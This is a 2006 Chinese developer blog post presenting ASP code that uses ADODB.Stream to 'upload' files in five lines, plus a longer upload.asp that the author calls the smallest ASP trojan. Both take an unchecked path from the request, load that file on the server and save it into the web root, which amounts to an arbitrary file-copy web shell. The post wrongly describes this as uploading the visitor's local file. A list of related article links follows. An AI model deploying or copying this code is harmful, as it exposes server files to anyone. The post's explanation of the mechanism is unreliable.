五行代码实现ASP无组件上传

原创 2006年06月23日 11:38:00

 目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。

  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。

  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile Request("upfilename")
  objStream.SaveToFile Server.MapPath("test.gif"),2

  使用方法:

  把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:/test/test.gif

  localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。

  根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。

  upload.asp文件

<%
  Function GetFileName(ByVal strFile)
  If strFile <> "" Then
   GetFileName = mid(strFile,InStrRev(strFile, "/")+1)
  Else
   GetFileName = ""
  End If
  End  function
 
  strFileName = Request.Form("upfilename")
  If strFileName<>"" Then
  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile strFileName
  objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
  objStream.Close
  response.write "OK!"
  Else
%>
  <form action='<%= Request.ServerVariables("URL") %>' method='post'>
  <input type='file' name='upfilename'> <input type='submit'></form>
<%
  End if
%>

五行代码实现ASP无组件上传

五行代码实现ASP无组件上传  目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行...
  • STEVEN016
  • STEVEN016
  • 2006年09月22日 22:05
  • 1419

asp无组件上传的原理 (转)

 出处:宝玉BLOG一、无组件上传的原理我还是一点一点用一个实例来说明的吧,客户端HTML如下。要浏览上传附件,我们通过元素,但是一定要注意必须设置form的enctype属性为"multipart/...
  • faintbear
  • faintbear
  • 2004年10月15日 16:30
  • 16104

最快的ASP无组件上传类(4M只需10秒)0.96版

 ----------------------------------------------------------------------转发时请保留此声明信息,这段声明不并会影响你的速度!***...
  • feng2375
  • feng2375
  • 2007年08月15日 16:52
  • 3047

ASP无组件上传文件到服务器

        最近参与了一个网站开发的项目,在做后台管理时用到了文件上传,因为客户要求数据库保存的是文件路径,文件就得直接上传到服务器,而且麻烦的是需要把其他表单信息和上传的图片一起进行数据处理,这...
  • Milanello_tyfor
  • Milanello_tyfor
  • 2007年11月21日 11:06
  • 1014

解决asp无组件文件上传及下载大小限制

IIS里Asp无组件上传默认文件大小为200K,当文件超过200k时无法正常上传。解决办法:1、先在服务里关闭 iis admin service 服务。2、找到 windows/system32/i...
  • CityBird
  • CityBird
  • 2009年08月24日 17:28
  • 4531

asp无组件上传文件(分块--测试200M上传成功)

  接上一篇用aspupload组件上传文章,在这之前,尝试使用无组件上传,不过大于500M的就会报 “存储空间不足的错误”,对于想完成小文件上传的同志们,可以使用。   初始设置不再赘述。直接看代码...
  • AnzoAnzo
  • AnzoAnzo
  • 2011年01月10日 11:40
  • 2393

ASP无组件上传修改上传文件名方法

网上搜了很久没找到合适的,于是决定自己来修改,于是搞定了!!UploadClass类中属性p_AutoSave = 0默认为0,我们修改为p_AutoSave = 1大体意思是,值为0或2 时    ...
  • lumengabc
  • lumengabc
  • 2013年12月09日 10:50
  • 1041

jquery uploadify for asp 批量文件上传程序 整合风声asp无组件上传

jquery 上传插件 uploadify (官网:http://www.uploadify.com/) uploadify功能强大,支持多文件、批量上传、状态进度条等,提供前端文件限制相关...
  • engling
  • engling
  • 2011年10月27日 23:57
  • 1862

Asp无组件上传源代码(改良版)

   lngRequestSize 和binRequestData 都是上页的file控件直接提交过来的在下一页直接接受传过来的数据就可以 lngRequestSize = request.total...
  • cmoremore
  • cmoremore
  • 2005年02月01日 13:43
  • 3689

asp 无组件上传大文件

在学习动易系统过程中,建立了一个简单的网站。在做上传文件测试时发现,系统无法上传大文件,提示出错信息:“quest 对象 错误 'ASP 0101 : 80004005”,后来在网上搜索,想从谷歌或百...
  • lbuskeep
  • lbuskeep
  • 2012年03月18日 12:43
  • 1333
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:五行代码实现ASP无组件上传
举报原因:
原因补充:

(最多只允许输入30个字)